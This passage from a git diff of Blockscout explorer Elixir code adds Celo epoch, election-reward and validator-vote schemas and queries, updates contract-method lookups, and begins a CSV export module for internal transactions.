epoch number and reward type. + + ## Parameters + - `epoch_number` (`Hash.t()`): The epoch number to search for election rewards. + - `reward_type` (`ElectionReward.type()`): The type of reward to filter. + - `options` (`Keyword.t()`): Optional parameters for fetching data. + + ## Returns + - `[ElectionReward.t()]`: A list of election rewards filtered by epoch number + and reward type. + + """ + @spec epoch_number_and_type_to_rewards(integer(), type(), Keyword.t()) :: [__MODULE__.t()] + def epoch_number_and_type_to_rewards(epoch_number, reward_type, options \\ []) + when reward_type in @types_enum do + default_sorting = [ + desc: :amount, + asc: :account_address_hash, + asc: :associated_account_address_hash + ] + + paging_options = Keyword.get(options, :paging_options, default_paging_options()) + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) + sorting_options = Keyword.get(options, :sorting, []) + + __MODULE__ + |> where([r], r.epoch_number == ^epoch_number) + |> where([r], r.type == ^reward_type) + |> SortingHelper.apply_sorting(sorting_options, default_sorting) + |> SortingHelper.page_with_sorting(paging_options, sorting_options, default_sorting) + |> Chain.join_associations(necessity_by_association) + |> Chain.select_repo(options).all() + end + + def address_hash_to_rewards_query(address_hash) do + __MODULE__ + |> where([r], r.account_address_hash == ^address_hash) + end + + @doc """ + Retrieves election rewards associated with a given address hash. + + ## Parameters + - `address_hash` (`Hash.Address.t()`): The address hash to search for election + rewards. + - `options` (`Keyword.t()`): Optional parameters for fetching data. + + ## Returns + - `[ElectionReward.t()]`: A list of election rewards associated with the + address hash. + + ## Examples + + iex> address_hash = %Hash.Address{ + ...> byte_count: 20, + ...> bytes: <<0x1d1f7f0e1441c37e28b89e0b5e1edbbd34d77649 :: size(160)>> + ...> } + iex> Explorer.Chain.Celo.ElectionReward.address_hash_to_rewards(address_hash) + [%ElectionReward{}, ...] + """ + @spec address_hash_to_rewards(Hash.Address.t(), Keyword.t()) :: [__MODULE__.t()] + def address_hash_to_rewards(address_hash, options \\ []) do + default_sorting = [ + desc: :epoch_number, + asc: :type, + desc: :amount, + asc: :associated_account_address_hash + ] + + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) + paging_options = Keyword.get(options, :paging_options, default_paging_options()) + sorting_options = Keyword.get(options, :sorting, []) + from_epoch = Keyword.get(options, :from_epoch) + to_epoch = Keyword.get(options, :to_epoch) + + address_hash + |> address_hash_to_rewards_query() + |> where_epoch_number_in_period(from_epoch, to_epoch) + |> join_token() + |> SortingHelper.apply_sorting(sorting_options, default_sorting) + |> SortingHelper.page_with_sorting(paging_options, sorting_options, default_sorting) + |> Chain.join_associations(necessity_by_association) + |> Chain.select_repo(options).all() + |> with_loaded_token_reputations() + end + + defp reward_type_to_token_address_hash do + Map.new( + @reward_type_atom_to_token_atom, + fn {type, token_atom} -> + addresses = + token_atom + |> CeloCoreContracts.get_address_updates() + |> case do + {:ok, addresses} -> addresses + _ -> [] + end + |> Enum.map(fn %{"address" => address_hash_string} -> + {:ok, address_hash} = Hash.Address.cast(address_hash_string) + address_hash + end) + + # This match should never fail + [address] = addresses + {type, address} + end + ) + end + + @doc """ + Joins the token table to the query based on the reward type. + + ## Parameters + - `query` (`Ecto.Query.t()`): The query to join the token table. + + ## Returns + - An Ecto query with the token table joined. + """ + @spec join_token(Ecto.Query.t()) :: Ecto.Query.t() + def join_token(query) do + reward_type_to_token_address_hash = reward_type_to_token_address_hash() + + from( + r in query, + join: t in Token, + on: + t.contract_address_hash == + fragment( + """ + CASE ? + WHEN ? THEN ?::bytea + WHEN ? THEN ?::bytea + WHEN ? THEN ?::bytea + WHEN ? THEN ?::bytea + ELSE NULL + END + """, + r.type, + ^"voter", + ^reward_type_to_token_address_hash.voter.bytes, + ^"validator", + ^reward_type_to_token_address_hash.validator.bytes, + ^"group", + ^reward_type_to_token_address_hash.group.bytes, + ^"delegated_payment", + ^reward_type_to_token_address_hash.delegated_payment.bytes + ), + select_merge: %{token: t} + ) + end + + # Ensures each reward token has its reputation association loaded to avoid JSON encoding errors. + @spec with_loaded_token_reputations([__MODULE__.t()]) :: [__MODULE__.t()] + defp with_loaded_token_reputations(rewards) when is_list(rewards) do + tokens = + rewards + |> Enum.map(& &1.token) + |> Enum.reject(&is_nil/1) + + hash_to_reputation = + tokens + |> Enum.map(& &1.contract_address_hash) + |> Reputation.preload_reputation() + |> Map.new() + + address_hash_to_token = + Enum.reduce(tokens, %{}, fn token, acc -> + reputation = Map.get(hash_to_reputation, token.contract_address_hash) + Map.put(acc, token.contract_address_hash, Map.put(token, :reputation, reputation)) + end) + + Enum.map(rewards, fn r -> + case r.token do + nil -> r + %{contract_address_hash: h} -> %{r | token: Map.get(address_hash_to_token, h)} + end + end) + end + + @doc """ + Custom filter for `ElectionReward`, inspired by + `Explorer.Chain.Block.Reader.General.where_block_number_in_period/3` + """ + @spec where_epoch_number_in_period( + Ecto.Query.t(), + String.t() | integer() | nil, + String.t() | integer() | nil + ) :: Ecto.Query.t() + def where_epoch_number_in_period(base_query, nil, nil), + do: base_query + + def where_epoch_number_in_period(base_query, nil, to_epoch), + do: where(base_query, [reward], reward.epoch_number < ^to_epoch) + + def where_epoch_number_in_period(base_query, from_epoch, nil), + do: where(base_query, [reward], reward.epoch_number >= ^from_epoch) + + def where_epoch_number_in_period(base_query, from_epoch, to_epoch), + do: + where( + base_query, + [reward], + reward.epoch_number >= ^from_epoch and reward.epoch_number < ^to_epoch + ) +end diff --git a/apps/explorer/lib/explorer/chain/celo/epoch.ex b/apps/explorer/lib/explorer/chain/celo/epoch.ex new file mode 100644 index 000000000000..05bc2c718eb8 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/celo/epoch.ex @@ -0,0 +1,383 @@ +defmodule Explorer.Chain.Celo.Epoch do + @moduledoc """ + Schema for Celo blockchain epochs. + """ + + use Explorer.Schema + + import Ecto.Query, only: [from: 2, where: 2] + + import Explorer.Chain.SmartContract.Proxy.Models.Implementation, + only: [proxy_implementations_association: 0] + + import Explorer.Chain.Address.Reputation, only: [reputation_association: 0] + + alias Explorer.{Chain, Repo, SortingHelper} + + alias Explorer.Chain.{ + Block, + Celo.ElectionReward, + Celo.EpochReward, + Hash, + TokenTransfer + } + + @required_attrs ~w(number)a + @optional_attrs ~w(fetched? start_block_number end_block_number start_processing_block_hash end_processing_block_hash)a + + @default_paging_options Chain.default_paging_options() + + @typedoc """ + * `number` - The epoch number. + * `fetched?` - Indicates whether the epoch has been fetched. + * `start_block_number` - The starting block number of the epoch. + * `end_block_number` - The ending block number of the epoch. + * `start_processing_block_hash` - The hash of the block where the epoch + processing starts. + * `end_processing_block_hash` - The hash of the block where the epoch + processing ends. + """ + @primary_key false + typed_schema "celo_epochs" do + field(:number, :integer, primary_key: true) + + field(:fetched?, :boolean, + source: :is_fetched, + default: false, + null: false + ) + + field(:start_block_number, :integer) + field(:end_block_number, :integer) + + belongs_to(:start_processing_block, Block, + foreign_key: :start_processing_block_hash, + references: :hash, + type: Hash.Full + ) + + belongs_to(:end_processing_block, Block, + foreign_key: :end_processing_block_hash, + references: :hash, + type: Hash.Full + ) + + has_one(:distribution, EpochReward, + foreign_key: :epoch_number, + references: :number + ) + + has_many(:election_reward, ElectionReward, + foreign_key: :epoch_number, + references: :number + ) + + timestamps() + end + + @spec changeset( + __MODULE__.t(), + :invalid | %{optional(:__struct__) => none, optional(atom | binary) => any} + ) :: Ecto.Changeset.t() + def changeset(%__MODULE__{} = vote, attrs \\ %{}) do + vote + |> cast(attrs, @required_attrs ++ @optional_attrs) + |> validate_required(@required_attrs) + |> foreign_key_constraint(:start_processing_block_hash) + |> foreign_key_constraint(:end_processing_block_hash) + end + + @doc """ + Returns a stream of epochs with unfetched rewards. + """ + @spec stream_unfetched_epochs( + initial :: accumulator, + reducer :: (entry :: term(), accumulator -> accumulator), + limited? :: boolean() + ) :: {:ok, accumulator} + when accumulator: term() + def stream_unfetched_epochs(initial, reducer, limited? \\ false) + when is_function(reducer, 2) do + query = + from( + epoch in __MODULE__, + join: start_processing_block in assoc(epoch, :start_processing_block), + join: end_processing_block in assoc(epoch, :end_processing_block), + where: + epoch.fetched? == false and + start_processing_block.consensus == true and + end_processing_block.consensus == true, + order_by: [desc: epoch.number] + ) + + query + |> Chain.add_fetcher_limit(limited?) + |> Repo.stream_reduce(initial, reducer) + end + + @doc """ + Retrieves all epochs that have been marked as fetched. + + ## Parameters + - `options` (`Keyword.t()`): Options for filtering and ordering the epochs. + - `:paging_options` - pagination parameters + - `:necessity_by_association` - associations that need to be loaded + - `:sorting` - sorting parameters + + ## Returns + - `list(__MODULE__.t())`: A list of fetched epochs. + + ## Examples + + iex> Explorer.Chain.Celo.Epoch.fetched_epochs([]) + [%Explorer.Chain.Celo.Epoch{number: 42, fetched?: true, ...}, ...] + + iex> Explorer.Chain.Celo.Epoch.fetched_epochs(sorting: [asc: :number], paging_options: %{page_size: 10}) + [%Explorer.Chain.Celo.Epoch{number: 1, fetched?: true, ...}, ...] + """ + @spec all(Keyword.t()) :: [__MODULE__.t()] + def all(options) do + default_sorting = [desc: :number] + + paging_options = Keyword.get(options, :paging_options, @default_paging_options) + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) + sorting_options = Keyword.get(options, :sorting, []) + + __MODULE__ + |> SortingHelper.apply_sorting(sorting_options, default_sorting) + |> SortingHelper.page_with_sorting(paging_options, sorting_options, default_sorting) + |> Chain.join_associations(necessity_by_association) + |> Chain.select_repo(options).all() + |> Enum.map(&with_loaded_distribution_token_transfers(&1, options)) + end + + @doc """ + Returns a query to find an epoch by its number. + + ## Parameters + - `number` (`integer()`): The epoch number to search for. + + ## Returns + - `Ecto.Query.t()`: The query to find the epoch. + + ## Examples + + iex> Repo.one(epoch_by_number_query(42)) + %Epoch{number: 42, start_block_number: 123400, end_block_number: 123799} + + iex> Repo.one(epoch_by_number_query(999999)) + nil + """ + @spec epoch_by_number_query(integer()) :: Ecto.Query.t() + def epoch_by_number_query(number) do + __MODULE__ + |> where(number: ^number) + end + + @doc """ + Retrieves an epoch by its number. This function fetches the epoch from the + database and preloads its associated data based on the provided options. It + always preloads distribution token transfers. + + ## Parameters + - `number` (`integer()`): The epoch number to search for. + - `options` (`Keyword.t()`): Options for filtering and ordering the epochs. + - `:necessity_by_association` - associations that need to be loaded + - `:sorting` - sorting parameters + ## Returns + - `{:ok, __MODULE__.t()}`: The epoch struct if found. + - `{:error, :not_found}`: If the epoch is not found. + + ## Examples + iex> Explorer.Chain.Celo.Epoch.from_number(42, []) + {:ok, %Epoch{number: 42, start_block_number: 123400, end_block_number: 123799}} + + iex> Explorer.Chain.Celo.Epoch.from_number(999999, []) + {:error, :not_found} + """ + @spec from_number(integer(), Keyword.t()) :: + {:ok, __MODULE__.t()} | {:error, :not_found} + def from_number(number, options) when is_integer(number) and is_list(options) do + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) + + number + |> epoch_by_number_query() + |> Chain.join_associations(necessity_by_association) + |> Chain.select_repo(options).one() + |> with_loaded_distribution_token_transfers(options) + |> case do + nil -> + {:error, :not_found} + + epoch -> + {:ok, epoch} + end + end + + # Loads the token transfers for the epoch with preloaded epoch reward. + # + # This function retrieves token transfers related to the specified epoch reward + # by knowing the index of the log of the token transfer and populates the + # virtual fields in the `EpochReward` struct. We manually preload token + # transfers since Ecto does not support automatically preloading objects by + # composite key (i.e., `log_index` and `block_hash`). + # + # ## Parameters + # - `epoch_reward` (`EpochReward.t()`): The epoch reward struct. + # - `options` (`Keyword.t()`): Optional parameters for selecting the repository. + # + # ## Returns + # - `EpochReward.t()`: The epoch reward struct with the token transfers loaded. + # + # ## Example + # + # iex> epoch_reward = %Explorer.Chain.Celo.EpochReward{block_hash: "some_hash", reserve_bolster_transfer_log_index: 1} + # iex> Explorer.Chain.Celo.EpochReward.load_token_transfers(epoch_reward) + # %Explorer.Chain.Celo.EpochReward{ + # block_hash: "some_hash", + # reserve_bolster_transfer_log_index: 1, + # reserve_bolster_transfer: %Explorer.Chain.TokenTransfer{log_index: 1, ...} + # } + # + @spec with_loaded_distribution_token_transfers(__MODULE__.t() | nil, api?: boolean()) :: + __MODULE__.t() | nil + defp with_loaded_distribution_token_transfers( + %__MODULE__{ + end_processing_block_hash: block_hash, + distribution: %EpochReward{ + reserve_bolster_transfer_log_index: reserve_bolster_transfer_log_index, + community_transfer_log_index: community_transfer_log_index, + carbon_offsetting_transfer_log_index: carbon_offsetting_transfer_log_index + } + } = epoch, + options + ) do + virtual_field_to_log_index = [ + reserve_bolster_transfer: reserve_bolster_transfer_log_index, + community_transfer: community_transfer_log_index, + carbon_offsetting_transfer: carbon_offsetting_transfer_log_index + ] + + log_indexes = + virtual_field_to_log_index + |> Enum.map(fn {_, index} -> index end) + |> Enum.reject(&is_nil/1) + + query = + from( + tt in TokenTransfer.only_consensus_transfers_query(), + where: tt.log_index in ^log_indexes and tt.block_hash == ^block_hash, + select: {tt.log_index, tt}, + preload: [ + [token: ^reputation_association()], + [ + from_address: [ + :scam_badge, + :names, + :smart_contract, + ^proxy_implementations_association() + ] + ], + [ + to_address: [ + :scam_badge, + :names, + :smart_contract, + ^proxy_implementations_association() + ] + ] + ] + ) + + log_index_to_token_transfer = + query + |> Chain.select_repo(options).all() + |> Map.new() + + with_token_transfers = + Enum.reduce(virtual_field_to_log_index, epoch.distribution, fn + {field, log_index}, acc -> + token_transfer = Map.get(log_index_to_token_transfer, log_index) + Map.put(acc, field, token_transfer) + end) + + %__MODULE__{epoch | distribution: with_token_transfers} + end + + defp with_loaded_distribution_token_transfers(epoch, _options), do: epoch + + @doc """ + Returns a query to find an epoch containing the given block number. + + When multiple epochs with nil end_block_number match the block number, the one + with the maximum start_block_number is selected. + + ## Parameters + - `block_number` (`non_neg_integer()`): The block number to search for. + + ## Returns + - `Ecto.Query.t()`: The query to find the epoch. + + ## Examples + + iex> Repo.one(block_number_to_epoch_query(123456)) + %Epoch{number: 42, start_block_number: 123400, end_block_number: 123799} + + iex> Repo.one(block_number_to_epoch_query(123800)) + %Epoch{number: 43, start_block_number: 123800, end_block_number: nil} + + iex> Repo.one(block_number_to_epoch_query(999999)) + nil + """ + @spec block_number_to_epoch_query(non_neg_integer()) :: Ecto.Query.t() + def block_number_to_epoch_query(block_number) do + from(e in __MODULE__, + # First, find epochs where the block_number falls within a defined range + # OR it's an open-ended epoch with start_block_number <= block_number + where: + e.start_block_number <= ^block_number and + (is_nil(e.end_block_number) or + e.end_block_number >= ^block_number), + # Order by end_block_number nulls last (closed epochs first) + # Then by start_block_number descending (most recent open epoch) + order_by: [asc_nulls_last: e.end_block_number, desc: e.start_block_number], + # Limit to just one result + limit: 1 + ) + end + + @doc """ + Converts a block number range to epoch number range by finding epochs whose + end block numbers fall within the specified block range. + + ## Parameters + - `from_block` (`integer()`): The starting block number. + - `to_block` (`integer()`): The ending block number. + - `options` (`Keyword.t()`): Options for selecting the repository. + + ## Returns + - `{integer(), integer()} | nil`: A tuple containing the minimum and maximum + epoch numbers or nil. + + ## Examples + + iex> Explorer.Chain.Celo.Epoch.block_range_to_epoch_range(123400, 125000) + {42, 43} + + iex> Explorer.Chain.Celo.Epoch.block_range_to_epoch_range(999999, 1000000) + nil + """ + @spec block_range_to_epoch_range(integer(), integer(), Keyword.t()) :: {integer(), integer()} | nil + def block_range_to_epoch_range(from_block, to_block, options \\ []) do + query = + from(e in __MODULE__, + where: e.end_block_number >= ^from_block and e.end_block_number < ^to_block, + select: {min(e.number), max(e.number)} + ) + + case Chain.select_repo(options).one(query) do + {nil, nil} -> nil + res -> res + end + end +end diff --git a/apps/explorer/lib/explorer/chain/celo/epoch_reward.ex b/apps/explorer/lib/explorer/chain/celo/epoch_reward.ex new file mode 100644 index 000000000000..3b3a8b4f0275 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/celo/epoch_reward.ex @@ -0,0 +1,53 @@ +defmodule Explorer.Chain.Celo.EpochReward do + @moduledoc """ + Represents the distributions in the Celo epoch. Each log index points to a + token transfer event in the `TokenTransfer` relation. These include the + reserve bolster, community, and carbon offsetting transfers. + """ + use Explorer.Schema + + alias Explorer.Chain.{Celo.Epoch, TokenTransfer} + + @required_attrs ~w(epoch_number)a + @optional_attrs ~w(reserve_bolster_transfer_log_index community_transfer_log_index carbon_offsetting_transfer_log_index)a + # @optional_attrs [ + # :reserve_bolster_transfer_log_index, + # :reserve_bolster_transfer_value, + # :community_transfer_log_index, + # :community_transfer_value, + # :carbon_offsetting_transfer_log_index, + # :carbon_offsetting_transfer_value + # ] + @allowed_attrs @required_attrs ++ @optional_attrs + + @primary_key false + typed_schema "celo_epoch_rewards" do + field(:reserve_bolster_transfer_log_index, :integer) + # field(:reserve_bolster_transfer_value, :integer) + field(:community_transfer_log_index, :integer) + # field(:community_transfer_value, :integer) + field(:carbon_offsetting_transfer_log_index, :integer) + # field(:carbon_offsetting_transfer_value, :integer) + field(:reserve_bolster_transfer, :any, virtual: true) :: TokenTransfer.t() | nil + field(:community_transfer, :any, virtual: true) :: TokenTransfer.t() | nil + field(:carbon_offsetting_transfer, :any, virtual: true) :: TokenTransfer.t() | nil + + belongs_to(:epoch, Epoch, + primary_key: true, + foreign_key: :epoch_number, + references: :number, + type: :integer + ) + + timestamps() + end + + @spec changeset(%__MODULE__{}, map()) :: Ecto.Changeset.t() + def changeset(%__MODULE__{} = rewards, attrs) do + rewards + |> cast(attrs, @allowed_attrs) + |> validate_required(@required_attrs) + |> foreign_key_constraint(:block_hash) + |> unique_constraint(:block_hash) + end +end diff --git a/apps/explorer/lib/explorer/chain/celo/helper.ex b/apps/explorer/lib/explorer/chain/celo/helper.ex new file mode 100644 index 000000000000..67327ddff147 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/celo/helper.ex @@ -0,0 +1,140 @@ +defmodule Explorer.Chain.Celo.Helper do + @moduledoc """ + Common helper functions for Celo. + """ + + alias Explorer.Chain.Block + + @blocks_per_epoch 17_280 + + @doc """ + Checks if a block number belongs to a block that finalized an L1-era epoch. + + This function should only be used for pre-L2 migration blocks, as the concept + of epoch blocks no longer exists after L2 migration. + + ## Parameters + - `block_number` (`Block.block_number()`): The block number to check. + + ## Returns + - `boolean()`: `true` if the block number is an epoch block number, `false` + otherwise. + + ## Examples + + iex> Explorer.Chain.Celo.Helper.epoch_block_number?(17280) + true + + iex> Explorer.Chain.Celo.Helper.epoch_block_number?(17281) + false + """ + @spec epoch_block_number?(block_number :: Block.block_number()) :: boolean() + def epoch_block_number?(block_number) + when is_integer(block_number) and + block_number > 0 and + rem(block_number, @blocks_per_epoch) == 0, + do: true + + def epoch_block_number?(_), do: false + + @doc """ + Converts a block number to an epoch number. + + ## Parameters + - `block_number` (`Block.block_number()`): The block number to convert. + + ## Returns + - `non_neg_integer()`: The corresponding epoch number. + + ## Examples + + iex> Explorer.Chain.Celo.Helper.block_number_to_epoch_number(17279) + 1 + + iex> Explorer.Chain.Celo.Helper.block_number_to_epoch_number(17280) + 2 + + iex> Explorer.Chain.Celo.Helper.block_number_to_epoch_number(17281) + 2 + """ + @spec block_number_to_epoch_number(block_number :: Block.block_number()) :: non_neg_integer() + def block_number_to_epoch_number(block_number) when is_integer(block_number) do + (block_number / @blocks_per_epoch) |> Float.floor() |> trunc() |> Kernel.+(1) + end + + @doc """ + Converts an epoch number to a block range for L1-era epochs. + + This function should only be used for pre-L2 migration epochs, as epoch block + ranges are deterministic only in L1 era. + + ## Parameters + - `epoch_number` (`non_neg_integer()`): The epoch number to convert. + + ## Returns + - `{Block.block_number(), Block.block_number()}`: A tuple containing the start + and end block numbers of the epoch. + + ## Examples + + iex> Explorer.Chain.Celo.Helper.epoch_number_to_block_range(1) + {0, 17279} + + iex> Explorer.Chain.Celo.Helper.epoch_number_to_block_range(2) + {17280, 34559} + """ + @spec epoch_number_to_block_range(epoch_number :: non_neg_integer()) :: + {Block.block_number(), Block.block_number()} + def epoch_number_to_block_range(epoch_number) + when is_integer(epoch_number) and epoch_number > 0 do + start_block = (epoch_number - 1) * @blocks_per_epoch + end_block = epoch_number * @blocks_per_epoch - 1 + + {start_block, end_block} + end + + @doc """ + Convert the burn fraction from FixidityLib value to decimal. + + ## Examples + + iex> Explorer.Chain.Celo.Helper.burn_fraction_decimal(800_000_000_000_000_000_000_000) + Decimal.new("0.800000000000000000000000") + """ + @spec burn_fraction_decimal(integer()) :: Decimal.t() + def burn_fraction_decimal(burn_fraction_fixidity_lib) + when is_integer(burn_fraction_fixidity_lib) do + base = Decimal.new(1, 1, 24) + fraction = Decimal.new(1, burn_fraction_fixidity_lib, 0) + Decimal.div(fraction, base) + end + + @doc """ + Checks if a block with given number appeared prior to Celo L2 migration. + """ + @spec pre_migration_block_number?(Block.block_number()) :: boolean() + def pre_migration_block_number?(block_number) do + l2_migration_block_number = Application.get_env(:explorer, :celo)[:l2_migration_block] + + if l2_migration_block_number do + block_number < l2_migration_block_number + else + true + end + end + + @doc """ + Checks if an epoch number is prior to Celo L2 migration. + """ + @spec pre_migration_epoch_number?(non_neg_integer()) :: boolean() + def pre_migration_epoch_number?(epoch_number) do + l2_migration_block_number = Application.get_env(:explorer, :celo)[:l2_migration_block] + + if l2_migration_block_number do + l2_migration_epoch_number = l2_migration_block_number |> block_number_to_epoch_number() + epoch_number < l2_migration_epoch_number + else + true + end + end +end diff --git a/apps/explorer/lib/explorer/chain/celo/reader/epoch_manager.ex b/apps/explorer/lib/explorer/chain/celo/reader/epoch_manager.ex new file mode 100644 index 000000000000..f3635795af13 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/celo/reader/epoch_manager.ex @@ -0,0 +1,92 @@ +defmodule Explorer.Chain.Celo.Reader.EpochManager do + @moduledoc """ + Functions for interacting with the Celo Epoch Manager contract. + """ + + use Utils.RuntimeEnvHelper, + epoch_manager_contract_address_hash: [ + :explorer, + [:celo, :epoch_manager_contract_address] + ] + + @get_first_block_at_epoch_abi [ + %{ + "inputs" => [%{"type" => "uint256"}], + "name" => "getFirstBlockAtEpoch", + "outputs" => [%{"type" => "uint256"}], + "stateMutability" => "view", + "type" => "function" + } + ] + + @get_last_block_at_epoch_abi [ + %{ + "inputs" => [%{"type" => "uint256"}], + "name" => "getLastBlockAtEpoch", + "outputs" => [%{"type" => "uint256"}], + "stateMutability" => "view", + "type" => "function" + } + ] + + alias Explorer.Helper + alias Explorer.SmartContract.Reader + + @doc """ + Retrieves the first block number in a given epoch. + + ## Parameters + + * `block_number` - The epoch number to retrieve epoch for. + + ## Returns + + * `{:ok, number}` - The first block number in the epoch. + * `:error` - If the request fails. + """ + @spec fetch_first_block_at_epoch(non_neg_integer()) :: + {:ok, non_neg_integer()} | :error + def fetch_first_block_at_epoch(block_number) do + method_id = Helper.abi_to_method_id(@get_first_block_at_epoch_abi) + + epoch_manager_contract_address_hash() + |> Reader.query_contract( + @get_first_block_at_epoch_abi, + %{method_id => [block_number]}, + false + ) + |> case do + %{^method_id => {:ok, [number]}} -> {:ok, number} + _ -> :error + end + end + + @doc """ + Retrieves the last block number in a given epoch. + + ## Parameters + + * `block_number` - The epoch number to retrieve epoch for. + + ## Returns + + * `{:ok, number}` - The last block number in the epoch. + * `:error` - If the request fails. + """ + @spec fetch_last_block_at_epoch(non_neg_integer()) :: + {:ok, non_neg_integer()} | :error + def fetch_last_block_at_epoch(block_number) do + method_id = Helper.abi_to_method_id(@get_last_block_at_epoch_abi) + + epoch_manager_contract_address_hash() + |> Reader.query_contract( + @get_last_block_at_epoch_abi, + %{method_id => [block_number]}, + false + ) + |> case do + %{^method_id => {:ok, [number]}} -> {:ok, number} + _ -> :error + end + end +end diff --git a/apps/explorer/lib/explorer/chain/celo/validator_group_vote.ex b/apps/explorer/lib/explorer/chain/celo/validator_group_vote.ex new file mode 100644 index 000000000000..221b1c62c0b8 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/celo/validator_group_vote.ex @@ -0,0 +1,76 @@ +defmodule Explorer.Chain.Celo.ValidatorGroupVote do + @moduledoc """ + Represents the information about a vote for a validator group made by an + account. + """ + + use Explorer.Schema + + alias Explorer.Chain.{Address, Block, Hash, Transaction} + + @types_enum ~w(activated revoked)a + @required_attrs ~w(account_address_hash group_address_hash type transaction_hash block_hash block_number)a + + @typedoc """ + * `account_address_hash` - the address of the account that made the vote. + * `group_address_hash` - the address of the validator group that + was voted for. + * `type` - whether this vote is `activated` or `revoked`. + * `block_number` - the block number of the vote. + * `block_hash` - the hash of the block that contains the vote. + * `transaction_hash` - the hash of the transaction that made the vote. + """ + @primary_key false + typed_schema "celo_validator_group_votes" do + belongs_to(:account_address, Address, + foreign_key: :account_address_hash, + primary_key: true, + references: :hash, + type: Hash.Address + ) + + belongs_to(:group_address, Address, + foreign_key: :group_address_hash, + primary_key: true, + references: :hash, + type: Hash.Address + ) + + field(:type, Ecto.Enum, + values: @types_enum, + null: false + ) + + field(:block_number, :integer, null: false) + + belongs_to(:block, Block, + foreign_key: :block_hash, + references: :hash, + type: Hash.Full, + null: false + ) + + belongs_to(:transaction, Transaction, + foreign_key: :transaction_hash, + primary_key: true, + references: :hash, + type: Hash.Full, + null: false + ) + + timestamps() + end + + @spec changeset( + __MODULE__.t(), + :invalid | %{optional(:__struct__) => none, optional(atom | binary) => any} + ) :: Ecto.Changeset.t() + def changeset(%__MODULE__{} = vote, attrs \\ %{}) do + vote + |> cast(attrs, @required_attrs) + |> validate_required(@required_attrs) + |> foreign_key_constraint(:account_address_hash) + |> foreign_key_constraint(:group_address_hash) + |> foreign_key_constraint(:transaction_hash) + end +end diff --git a/apps/explorer/lib/explorer/chain/contract_method.ex b/apps/explorer/lib/explorer/chain/contract_method.ex index ed24f395ee17..15359cfb1780 100644 --- a/apps/explorer/lib/explorer/chain/contract_method.ex +++ b/apps/explorer/lib/explorer/chain/contract_method.ex @@ -5,18 +5,13 @@ defmodule Explorer.Chain.ContractMethod do require Logger + import Ecto.Query, only: [from: 2] use Explorer.Schema - alias Explorer.Chain.{Hash, MethodIdentifier, SmartContract} - alias Explorer.Repo + alias Explorer.Chain.{Data, Hash, MethodIdentifier, SmartContract} + alias Explorer.{Chain, Repo} - @type t :: %__MODULE__{ - identifier: MethodIdentifier.t(), - abi: map(), - type: String.t() - } - - schema "contract_methods" do + typed_schema "contract_methods" do field(:identifier, MethodIdentifier) field(:abi, :map) field(:type, :string) @@ -69,13 +64,83 @@ defmodule Explorer.Chain.ContractMethod do end end + @doc """ + Query that finds limited number of contract methods by selector id + """ + @spec find_contract_method_query(binary() | Data.t(), integer()) :: Ecto.Query.t() + def find_contract_method_query(method_id, limit) do + from( + contract_method in __MODULE__, + where: contract_method.identifier == ^method_id, + order_by: [asc: contract_method.inserted_at], + limit: ^limit + ) + end + + @doc """ + Finds contract method by selector id + """ + @spec find_contract_method_by_selector_id(binary(), [Chain.api?()]) :: __MODULE__.t() | nil + def find_contract_method_by_selector_id(method_id, options) do + query = + from( + contract_method in __MODULE__, + where: contract_method.abi["type"] == "function", + where: contract_method.identifier == ^method_id, + limit: 1 + ) + + Chain.select_repo(options).one(query) + end + + @spec find_contract_method_by_name(String.t(), [Chain.api?()]) :: __MODULE__.t() | nil + def find_contract_method_by_name(name, options) do + query = + from( + contract_method in __MODULE__, + where: contract_method.abi["type"] == "function", + where: contract_method.abi["name"] == ^name, + limit: 1 + ) + + Chain.select_repo(options).one(query) + end + + @doc """ + Finds contract methods by selector id + """ + @spec find_contract_methods([binary()], [Chain.api?()]) :: [__MODULE__.t()] + def find_contract_methods(method_ids, options) + + def find_contract_methods([], _), do: [] + + def find_contract_methods(method_ids, options) do + query = + from( + contract_method in __MODULE__, + distinct: contract_method.identifier, + where: contract_method.abi["type"] == "function", + where: contract_method.identifier in ^method_ids, + order_by: [asc: contract_method.identifier, asc: contract_method.inserted_at] + ) + + Chain.select_repo(options).all(query) + end + defp abi_element_to_contract_method(element) do case ABI.parse_specification([element], include_events?: true) do [selector] -> now = DateTime.utc_now() + # For events, the method_id (signature) is 32 bytes, whereas for methods + # and errors it is 4 bytes. To avoid complications with different sizes, + # we always take only the first 4 bytes of the hash. + <> = selector.method_id + + {:ok, method_id} = MethodIdentifier.cast(first_four_bytes) + %{ - identifier: selector.method_id, + identifier: method_id, abi: element, type: Atom.to_string(selector.type), inserted_at: now, @@ -87,7 +152,7 @@ defmodule Explorer.Chain.ContractMethod do end rescue e -> - message = Exception.format(:error, e) + message = Exception.format(:error, e, __STACKTRACE__) {:error, message} end diff --git a/apps/explorer/lib/explorer/chain/csv_export/address/internal_transactions.ex b/apps/explorer/lib/explorer/chain/csv_export/address/internal_transactions.ex new file mode 100644 index 000000000000..5003d24b6cd9 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/csv_export/address/internal_transactions.ex @@ -0,0 +1,102 @@ +defmodule Explorer.Chain.CsvExport.Address.InternalTransactions do + @moduledoc """ + Exports internal transactions to a csv file. + """ + + alias Explorer.Chain.{Address, Hash, InternalTransaction, Transaction, Wei} + alias Explorer.Chain.CsvExport.Helper + + @spec export(Hash.Address.t(), String.t(), String.t(), String.t() | nil, String.t() | nil) :: Enumerable.t() + def export(address_hash, from_period, to_period, _options, filter_type \\ nil, filter_value \\ nil) do + {from_block, to_block} = Helper.block_from_period(from_period, to_period) + + address_hash + |> fetch_all_internal_transactions(from_block, to_block, filter_type, filter_value, Helper.paging_options()) + |> Enum.sort_by(&{&1.block_number, &1.index, &1.transaction_index}, :desc) + |> to_csv_format() + |> Helper.dump_to_stream() + end + + # sobelow_skip ["DOS.StringToAtom"] + defp fetch_all_internal_transactions( + address_hash, + from_block, + to_block, + filter_type, + filter_value, + paging_options + ) do + options = + [] + |> Keyword.put(:paging_options, paging_options) + |> Keyword.put(:from_block, from_block) + |> Keyword.put(:to_block, to_block) + |> Keyword.put(:necessity_by_association, %{ + :transaction => :optional + }) + |> (&if(Helper.valid_filter?(filter_type, 